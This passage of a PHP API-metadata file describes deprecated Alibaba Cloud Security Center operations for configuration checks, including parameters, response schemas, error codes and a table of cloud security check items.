12:00'."\n" .'* **12**: 12:00 to 18:00'."\n" .'* **18**: 18:00 to 24:00'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '6', ], ], [ 'name' => 'EndTime', 'in' => 'query', 'schema' => [ 'description' => 'The time period during which the automatic configuration check ends. Valid values:'."\n" ."\n" .'* **0**: 00:00 to 06:00'."\n" .'* **6**: 06:00 to 12:00'."\n" .'* **12**: 12:00 to 18:00'."\n" .'* **18**: 18:00 to 24:00'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '12', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '02287C0D-8DA9-5766-B51A-A63192BD3E80', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'substitutions' => [ 'Sas::2018-12-03::ChangeCheckConfig', ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"02287C0D-8DA9-5766-B51A-A63192BD3E80\\"\\n}","errorExample":""},{"type":"xml","example":"\\n 02287C0D-8DA9-5766-B51A-A63192BD3E80\\n","errorExample":""}]', 'title' => 'ModifySecurityCheckScheduleConfig', 'description' => 'This operation is phased out. You can use the ChangeCheckConfig operation.'."\n", 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeRiskItemType' => [ 'summary' => 'Queries the types of check items in configuration assessment.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => true, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '183.237.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '3B3F3A90-46A5-4023-A2D8-D68B14262F96', ], 'List' => [ 'description' => 'An array that consists of information about the type of the check item.'."\n", 'type' => 'array', 'items' => [ 'description' => 'Information about the type of the check item.'."\n", 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The ID of the check item.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '37625', ], 'Title' => [ 'description' => 'The name of the check type.'."\n", 'type' => 'string', 'example' => 'Identity authentication and permissions'."\n", ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3B3F3A90-46A5-4023-A2D8-D68B14262F96\\",\\n \\"List\\": [\\n {\\n \\"Id\\": 37625,\\n \\"Title\\": \\"身份认证及权限\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeRiskItemType', 'description' => 'This operation is phased out. You can use the ListCheckStandard operation instead.'."\n", ], 'DescribeRiskCheckSummary' => [ 'summary' => 'Queries the summary information about the check results of cloud service configurations. The information includes the number of risk items, the risk rate, the number of affected assets, the check time, and the statistics about each type of check items.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => true, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '1.2.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'ResourceDirectoryAccountId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the Alibaba Cloud account that is added as a member by using the multi-account control feature.'."\n", 'type' => 'string', 'required' => false, 'example' => '1232428423234****', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '291B49F9-1685-4005-9D34-606B6F78740F', ], 'RiskCheckSummary' => [ 'description' => 'The summary information about the check results of cloud service configurations.'."\n", 'type' => 'object', 'properties' => [ 'ItemCount' => [ 'description' => 'The number of check items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '4', ], 'AffectedAssetCount' => [ 'description' => 'The number of affected assets.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'DisabledRiskCount' => [ 'description' => 'The number of the check items that failed the check.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'RiskCount' => [ 'description' => 'The number of detected risk items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RiskRate' => [ 'description' => 'The proportion of risk items to all check items.'."\n", 'type' => 'number', 'format' => 'float', 'example' => '0.25', ], 'PreviousCount' => [ 'description' => 'The number of risk items detected in the last check.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'PreviousTime' => [ 'description' => 'The timestamp of the last check. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1545012926000', ], 'EnabledRiskCount' => [ 'description' => 'The number of the check items that passed the check.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'RiskLevelCount' => [ 'description' => 'An array that consists of the number of check items at each risk level.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The number of check items at each risk level.'."\n", 'type' => 'object', 'properties' => [ 'Key' => [ 'description' => 'The risk level of the check items. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'example' => 'medium', ], 'Count' => [ 'description' => 'The number of check items at the specified risk level.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], ], 'Groups' => [ 'description' => 'An array that consists of the statistics for each type of check item.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The statistics for each type of check item.'."\n", 'type' => 'object', 'properties' => [ 'RemainingTime' => [ 'description' => 'The remaining time before the check is complete.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'Status' => [ 'description' => 'The status of the check. Valid values:'."\n" ."\n" .'* **finish**: The check is finished.'."\n" .'* **running**: The check is in progress.'."\n" .'* **waiting**: The check is pending.'."\n" .'* **notStart**: The check is not started.'."\n", 'type' => 'string', 'example' => 'finish', ], 'Sort' => [ 'description' => 'The sequence number of the check item type in the **All Types** drop-down list in the Security Center console.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Title' => [ 'description' => 'The name of the check item type.'."\n", 'type' => 'string', 'example' => 'Identity authentication and permissions'."\n", ], 'Id' => [ 'description' => 'The ID of the check item type.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1', ], 'CountByStatus' => [ 'description' => 'An array that consists of the statistics about check results.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The statistics about check results.'."\n", 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The status of the check item after the check is finished. Valid values:'."\n" ."\n" .'* **pass**: The check item passed the check, which indicates that the check item is normal.'."\n" .'* **failed**: The check item failed the check, which indicates that risks are detected based on the check item.'."\n", 'type' => 'string', 'example' => 'pass', ], 'Count' => [ 'description' => 'The number of detected risk items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], ], ], ], ], ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"291B49F9-1685-4005-9D34-606B6F78740F\\",\\n \\"RiskCheckSummary\\": {\\n \\"ItemCount\\": 4,\\n \\"AffectedAssetCount\\": 0,\\n \\"DisabledRiskCount\\": 0,\\n \\"RiskCount\\": 1,\\n \\"RiskRate\\": 0.25,\\n \\"PreviousCount\\": 0,\\n \\"PreviousTime\\": 1545012926000,\\n \\"EnabledRiskCount\\": 3,\\n \\"RiskLevelCount\\": [\\n {\\n \\"Key\\": \\"medium\\",\\n \\"Count\\": 1\\n }\\n ],\\n \\"Groups\\": [\\n {\\n \\"RemainingTime\\": 0,\\n \\"Status\\": \\"finish\\",\\n \\"Sort\\": 1,\\n \\"Title\\": \\"身份认证及权限\\",\\n \\"Id\\": 1,\\n \\"CountByStatus\\": [\\n {\\n \\"Status\\": \\"pass\\",\\n \\"Count\\": 2\\n }\\n ]\\n }\\n ]\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n 291B49F9-1685-4005-9D34-606B6F78740F\\n \\n 4\\n 0\\n 0\\n 1\\n 0.25\\n 0\\n 1545012926000\\n 3\\n \\n medium\\n 1\\n \\n \\n 0\\n finish\\n 1\\n 身份认证及权限\\n 1\\n \\n pass\\n 2\\n \\n \\n \\n","errorExample":""}]', 'title' => 'DescribeRiskCheckSummary', 'description' => 'This operation is phased out. You can use the GetCheckSummary operation.'."\n", 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeRiskCheckResult' => [ 'summary' => 'Queries the check results of cloud service configurations by check item type or name.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => true, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '1.2.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'GroupId', 'in' => 'query', 'schema' => [ 'description' => 'The type of the check item that you want to query. Valid values:'."\n" ."\n" .'* **1**: identity authentication and permissions'."\n" .'* **2**: network access control'."\n" .'* **3**: log audit'."\n" .'* **4**: data security'."\n" .'* **5**: monitoring and alerting'."\n" .'* **6**: basic security protection'."\n" ."\n" .'> If you do not specify this parameter, all types of check items are queried.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'RiskLevel', 'in' => 'query', 'schema' => [ 'description' => 'The risk level of the check item that you want to query. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'required' => false, 'example' => 'high', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'The status of the check results. Valid values:'."\n" ."\n" .'* **pass**'."\n" .'* **failed**'."\n" .'* **running**'."\n" .'* **waiting**'."\n" .'* **ignored**'."\n" .'* **falsePositive**'."\n", 'type' => 'string', 'required' => false, 'example' => 'pass', ], ], [ 'name' => 'AssetType', 'in' => 'query', 'schema' => [ 'description' => 'The cloud service whose configuration check results you want to query. For more information about the check items for the cloud service, see the check item table in the "Response parameters" section of this topic.'."\n", 'type' => 'string', 'required' => false, 'example' => 'RDS', ], ], [ 'name' => 'Name', 'in' => 'query', 'schema' => [ 'description' => 'The name of the check item. For more information about the check item, see the check item table in the "Response parameters" section of this topic.'."\n", 'type' => 'string', 'required' => false, 'example' => 'ALB_NetWorkAccessControl', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: **20**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'QueryFlag', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether the check item is supported by the edition of Security Center that you purchase. Valid values:'."\n" ."\n" .'* **enabled**: yes'."\n" .'* **disabled**: no'."\n", 'type' => 'string', 'required' => false, 'example' => 'enabled', ], ], [ 'name' => 'ItemIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'An array that consists of the IDs of check items. For more information about the check item, see the check item table in the "Response parameters" section of this topic.', 'type' => 'array', 'items' => [ 'description' => 'An array that consists of the IDs of check items. For more information about the check item, see the check item table in the "Response parameters" section of this topic.'."\n", 'type' => 'string', 'required' => false, 'example' => '15', ], 'required' => false, 'example' => '1', 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'AD271C07-4ACE-413D-AA9B-F14FD3B7717F', ], 'PageSize' => [ 'description' => 'The number of entries returned per page. Default value: **20**.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '12', ], 'PageCount' => [ 'description' => 'The total number of pages returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'List' => [ 'description' => 'The check items.', 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'RiskLevel' => [ 'description' => 'The risk level of the check item. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'example' => 'high', ], 'Status' => [ 'description' => 'The status of the check results. Valid values:'."\n" ."\n" .'* **pass**'."\n" .'* **failed**'."\n" .'* **running**'."\n" .'* **waiting**'."\n" .'* **ignored**'."\n" .'* **falsePositive**'."\n", 'type' => 'string', 'example' => 'pass', ], 'Type' => [ 'description' => 'The type of the check item. Valid values:'."\n" ."\n" .'* Identity authentication and permissions'."\n" .'* Network access control'."\n" .'* Log audit'."\n" .'* Data security'."\n" .'* Monitoring and alerting'."\n" .'* Basic security protection'."\n", 'type' => 'string', 'example' => 'Log audit', ], 'Sort' => [ 'description' => 'The sequence number in the check results. The check items are sorted based on the sequence number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RepairStatus' => [ 'description' => 'Indicates whether the risks that are detected based on the check item can be fixed. Valid values:'."\n" ."\n" .'* **enabled**: yes'."\n" .'* **disabled**: no'."\n", 'type' => 'string', 'example' => 'disabled', ], 'RemainingTime' => [ 'description' => 'The time when the next check will be performed.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'ItemId' => [ 'description' => 'The ID of the check item. For more information about the check item, see the check item table in the "Response parameters" section of this topic.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1', ], 'StartStatus' => [ 'description' => 'Indicates whether the check item is supported by the edition of Security Center that you purchase. Valid values:'."\n" ."\n" .'* **enabled**: yes'."\n" .'* **disable**: no'."\n", 'type' => 'string', 'example' => 'enabled', ], 'AffectedCount' => [ 'description' => 'The number of affected assets.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'RiskAssertType' => [ 'description' => 'The type of the affected assets.'."\n", 'type' => 'string', 'example' => 'ECS', ], 'Title' => [ 'description' => 'The name of the check item.'."\n", 'type' => 'string', 'example' => 'RDS - Whitelist Configuration', ], 'TaskId' => [ 'description' => 'The ID of the check task.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '15384933', ], 'CheckTime' => [ 'description' => 'The timestamp when the last check was performed. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1639429164000', ], 'RiskItemResources' => [ 'description' => 'An array that consists of the details about the check item.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'ContentResource' => [ 'description' => 'The details about the check results.'."\n", 'type' => 'object', 'additionalProperties' => [ 'type' => 'any', 'example' => '{"type":"link","url":"https://help.aliyun.com/document_detail/28635.html","value":"https://help.aliyun.com/document_detail/28635.html"}', 'description' => 'An array that consists of the details of the check results.', ], 'example' => '', ], 'ResourceName' => [ 'description' => 'The title in the details. Valid values:'."\n" ."\n" .'* **bestPractice**: description'."\n" .'* **influence**: risk'."\n" .'* **suggestion**: solution'."\n" .'* **helpResource**: reference'."\n", 'type' => 'string', 'example' => 'bestPractice', ], ], ], ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"CurrentPage\\": 1,\\n \\"RequestId\\": \\"AD271C07-4ACE-413D-AA9B-F14FD3B7717F\\",\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 12,\\n \\"PageCount\\": 20,\\n \\"Count\\": 10,\\n \\"List\\": [\\n {\\n \\"RiskLevel\\": \\"high\\",\\n \\"Status\\": \\"pass\\",\\n \\"Type\\": \\"Log audit\\",\\n \\"Sort\\": 1,\\n \\"RepairStatus\\": \\"disabled\\",\\n \\"RemainingTime\\": 0,\\n \\"ItemId\\": 1,\\n \\"StartStatus\\": \\"enabled\\",\\n \\"AffectedCount\\": 0,\\n \\"RiskAssertType\\": \\"ECS\\",\\n \\"Title\\": \\"RDS - Whitelist Configuration\\",\\n \\"TaskId\\": 15384933,\\n \\"CheckTime\\": 1639429164000,\\n \\"RiskItemResources\\": [\\n {\\n \\"ContentResource\\": {\\n \\"key\\": \\"{\\\\n \\\\\\"type\\\\\\": \\\\\\"link\\\\\\",\\\\n \\\\\\"url\\\\\\": \\\\\\"https://***.aliyun.com/abc.html\\\\\\",\\\\n \\\\\\"value\\\\\\": \\\\\\"https://***.aliyun.com/abc.html\\\\\\"\\\\n}\\"\\n },\\n \\"ResourceName\\": \\"bestPractice\\"\\n }\\n ]\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 1\\n AD271C07-4ACE-413D-AA9B-F14FD3B7717F\\n 20\\n 12\\n 20\\n 10\\n \\n high\\n pass\\n 身份认证及权限\\n 1\\n disabled\\n 0\\n 1\\n enabled\\n 0\\n ECS\\n 云平台-主账号双因素认证配置检查\\n 15384933\\n 1639429164000\\n \\n { \\"type\\": \\"link\\", \\"value\\": \\"未开启多因素认证，存在风险\\\\n\\", \\"url\\": \\"https://***.aliyun.com/#/secure\\\\n\\" }\\n bestPractice\\n \\n \\n","errorExample":""}]', 'title' => 'DescribeRiskCheckResult', 'description' => 'This operation is phased out. You can use the [ListCheckResult](~~ListCheckResult~~) operation.'."\n", 'requestParamsDescription' => ' ', 'responseParamsDescription' => 'The following table describes the information about the check items that are supported by the configuration assessment feature. The information includes the ID, name, type, risk level, and supported service of each check item.'."\n" ."\n" .'|ItemId (check item ID)|Name (check item name)|GroupId (check item type)|RiskLevel (risk level)|AssetType (Alibaba Cloud service)|Description|'."\n" .'|---|---|---|---|---|---|'."\n" .'|1|ActionTrail - logging|3: log audit|medium|ActionTrail|Checks whether ActionTrail is used to record operation logs on the cloud and save the logs to Object Storage Service (OSS) buckets.|'."\n" .'|2|ApsaraDB RDS - database security policies|4: data security|medium|RDS|Checks whether the SSL encryption, Transparent Data Encryption (TDE), and SQL Audit features are enabled for each ApsaraDB RDS instance.|'."\n" .'|3|Alibaba Cloud account security - MFA|1: identity authentication and permissions|high|RAM|Checks whether multi-factor authentication (MFA) is enabled for the Alibaba Cloud account to which you are logged on.|'."\n" .'|4|Alibaba Cloud Security - Back-to-origin configurations of Anti-DDoS Pro or Anti-DDoS Premium|2: network access control|high|DDoS|Checks whether actual IP addresses of backend servers are hidden after you use Anti-DDoS Pro or Anti-DDoS Premium. If the actual IP addresses are hidden, attackers cannot directly access the backend servers. To hide the actual IP addresses, you can configure access control policies. For example, if you want to hide the IP addresses of Server Load Balancer (SLB) instances, you can configure SLB whitelists on the SLB instances. If you want to hide the IP addresses of Elastic Compute Service (ECS) instances, you can configure security group rules for the ECS instances. All these policies allow access from only back-to-origin IP addresses of Anti-DDoS Pro or Anti-DDoS Premium.|'."\n" .'|5|ApsaraDB RDS - whitelist configurations|2: network access control|high|RDS|Checks whether a whitelist of an ApsaraDB RDS instance contains the CIDR block 0.0.0.0/0. If the whitelist contains the CIDR block, all IP addresses are allowed to access the ApsaraDB RDS instance. For security purposes, we recommend that you configure RDS whitelists to allow access from only specified IP addresses.|'."\n" .'|6|SLB - open ports|2: network access control|high|SLB|Checks whether SLB is configured to forward requests from high-risk ports to the Internet.|'."\n" .'|7|Alibaba Cloud Security - back-to-origin configuration checks for WAF|2: network access control|high|WAF|Checks whether the actual IP addresses of backend servers are hidden after you use Web Application Firewall (WAF). If the actual IP addresses are hidden, attackers cannot directly access the backend servers. To hide the actual IP addresses, you can configure access control policies. For example, if you want to hide the IP addresses of SLB instances, you can configure SLB whitelists on the SLB instances. If you want to hide the IP addresses of ECS instances, you can configure security group rules for the ECS instances. All these policies allow access from only back-to-origin IP addresses of WAF.|'."\n" .'|8|Alibaba Cloud Security - agent status|6: basic security protection|high|ECS|Checks whether the Security Center agent on your ECS instance is always online and provides protection.|'."\n" .'|12|OSS - bucket permissions|4: data security|high|OSS|Checks whether the access control list (ACL) of any of your OSS buckets is public-read or public-read-write. The public-read or public-read-write ACL allows users to read or write the data in your OSS buckets without authentication. To ensure data security, we recommend that you set the ACL of all your buckets to private.|'."\n" .'|13|Security Center - detection of AccessKey pair leaks|5: monitoring and alerting|medium|RAM|Checks whether detection of AccessKey pair leaks is enabled. API credentials, also AccessKey pairs, are unique and important identity credentials. We recommend that you enable the detection to prevent AccessKey pair leaks.|'."\n" .'|14|ApsaraDB for MongoDB - whitelist configurations|2: network access control|high|MongoDB|Checks whether whitelists are enabled for ApsaraDB for MongoDB instances. If whitelists are enabled and a whitelist is empty or contains the 0.0.0.0/0 CIDR block, the requests from all IP addresses are allowed. In this case, security risks may occur. We recommend that you specify trusted IP addresses in a whitelist to allow access from only the specified IP addresses.|'."\n" .'|15|RAM - MFA configuration for RAM users|1: identity authentication and permissions|medium|RAM|Checks whether MFA is enabled for RAM users.|'."\n" .'|16|OSS - logging|4: data security|medium|OSS|Checks whether the logging feature is enabled for all OSS buckets. A large number of logs are generated when OSS resources are accessed. After you enable and configure logging for a bucket, OSS generates log objects every hour based on predefined naming conventions and then stores the log objects in a specified bucket. You can use Alibaba Cloud Data Lake Analytics (DLA) or build a Spark cluster to analyze the logs. You can configure lifecycle rules for a bucket to convert the storage class of log objects to Archive for long-term archiving.|'."\n" .'|17|OSS - cross-region replication|4: data security|low|OSS|Checks whether cross-region replication (CRR) is enabled for all OSS buckets. CRR automatically and asynchronously replicates objects across OSS buckets in different regions. CRR allows you to synchronize operations, such as the create, overwrite, and delete operations on objects, from a source bucket to a destination bucket. This feature can meet your requirements for geo-disaster recovery and data replication. Objects in the destination bucket are extra duplicates of objects in the source bucket. They have the same names, content, and metadata, such as the creation time, owner, user metadata, and ACL.|'."\n" .'|18|ApsaraDB RDS - database backup|4: data security|medium|RDS|Checks whether database backup is enabled for ApsaraDB RDS instances. We recommend that you enable database backup for ApsaraDB RDS instances and perform a data backup task on a daily basis.|'."\n" .'|19|ApsaraDB for Redis - whitelist configurations|2: network access control|high|Redis|Checks access control configurations of ApsaraDB for Redis instances.|'."\n" .'|20|ECS - public key authentication|1: identity authentication and permissions|medium|ECS|Checks whether SSH key pair-based logon is enabled for ECS instances.|'."\n" .'|21|SLB - health status|5: monitoring and alerting|low|SLB|Checks the health status of SLB instances.|'."\n" .'|22|PolarDB - whitelist configurations|2: network access control|medium|PolarDB|Checks whether a whitelist of a PolarDB cluster contains the CIDR block 0.0.0.0/0. If the whitelist contains the CIDR block, all IP addresses are allowed to access the PolarDB cluster. For security purposes, we recommend that you configure whitelists to allow access from only specified IP addresses.|'."\n" .'|23|AnalyticDB for PostgreSQL - whitelist configurations|2: network access control|medium|PostgreSQL|Checks whether a whitelist of an AnalyticDB for PostgreSQL instance contains the CIDR block 0.0.0.0/0. If the whitelist contains the CIDR block, all IP addresses are allowed to access the AnalyticDB for PostgreSQL instance. For security purposes, we recommend that you configure whitelists to allow access from only specified IP addresses.|'."\n" .'|24|ECS - storage encryption|4: data security|low|ECS|Checks whether disk encryption is enabled. Disk encryption allows you to meet security or regulatory compliance requirements.|'."\n" .'|25|SLB - whitelist configurations|2: network access control|medium|SLB|Checks the whitelist configurations of SLB instances. We recommend that you configure whitelists for non-HTTP and non-HTTPS services. We recommend that you do not add 0.0.0.0/0 to the whitelists.|'."\n" .'|26|SLB - certificate validity checks|5: monitoring and alerting|medium|SLB|Checks whether an SLB certificate has expired.|'."\n" .'|27|ECS - automatic snapshot policies|4: data security|medium|ECS|Checks whether automatic snapshot policies are enabled for ECS instances.|'."\n" .'|28|Certificate Management Service - validity checks|4: data security|medium|SSL|Checks whether an SSL certificate is within its validity period.|'."\n" .'|30|OSS - bucket server-side encryption|4: data security|low|OSS|Checks whether server-side encryption is enabled for OSS buckets.|'."\n" .'|31|OSS - bucket hotlink protection|2: network access control|low|OSS|Checks whether hotlink protection is configured for OSS buckets.|'."\n" .'|32|ApsaraDB RDS - cross-region backup configurations|4: data security|low|RDS|Checks whether cross-region backup is configured for ApsaraDB RDS instances.|'."\n" .'|33|ApsaraDB for MongoDB - backup configurations|4: data security|medium|MongoDB|Checks whether data backup is enabled for ApsaraDB for MongoDB instances.|'."\n" .'|34|ApsaraDB for MongoDB - log audit|3: log audit|medium|MongoDB|Checks whether log audit is enabled for ApsaraDB for MongoDB instances.|'."\n" .'|35|ApsaraDB for MongoDB - SSL encryption|4: data security|medium|MongoDB|Checks whether SSL certificate checks are enabled for ApsaraDB for MongoDB instances.|'."\n" .'|36|CloudMonitor - agent status|5: monitoring and alerting|medium|CloudMonitor|Checks whether the status of the CloudMonitor agent is normal.|'."\n" .'|37|ECS - security group policies|2: network access control|medium|ECS|Checks the security group policies of ECS instances.|'."\n" .'|38|VPC - DNAT management port mapping|2: network access control|medium|VPC|Checks whether a virtual private cloud (VPC) destination network address translation (DNAT) rule is configured to map management ports to the Internet.|'."\n" .'|39|ApsaraDB for Redis - backup configurations|4: data security|medium|Redis|Checks whether data backup is enabled for ApsaraDB for Redis instances.|'."\n" .'|40|Container Registry - repository permission configurations|4: data security|high|CR|Checks whether repository permissions are correctly configured in Container Registry.|'."\n" .'|41|Container Registry - security scans|6: basic security protection|low|CR|Checks whether security scan is enabled in Container Registry.|'."\n" .'|42|SLB - logging|3: log audit|medium|SLB|Checks whether access logging is configured for SLB instances.|'."\n" .'|43|ApsaraDB for Redis - log audit|3: log audit|low|Redis|Checks whether log audit is configured for ApsaraDB for Redis instances.|'."\n" .'|44|OSS - authorization policies|1: identity authentication and permissions|medium|OSS|Checks whether authorization policies are correctly configured in OSS.|'."\n" .'|46|PolarDB - backup configurations|4: data security|medium|PolarDB|Checks whether data backup is enabled for PolarDB clusters.|'."\n" .'|47|PolarDB - SQL Explorer|3: log audit|medium|PolarDB|Checks whether SQL Explorer is enabled for PolarDB clusters.|'."\n" .'|49|Alibaba Cloud account security - AccessKey pair|1: identity authentication and permissions|medium|RAM|Checks whether the AccessKey pair of your Alibaba Cloud account is enabled.|'."\n" .'|51|Alibaba Cloud CDN - real-time log push feature|3: log audit|medium|CDN|Checks whether real-time log push is enabled in Alibaba Cloud CDN.|'."\n" .'|52|ApsaraDB for Redis - SSL encryption|4: data security|medium|Redis|Checks whether SSL certificates are used for ApsaraDB for Redis instances.|', 'extraInfo' => ' ', ], 'DescribeSecurityCheckScheduleConfig' => [ 'summary' => 'Queries the day of a week when custom check tasks are performed and the time range during which the custom check tasks are performed.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => true, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '1.2.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: 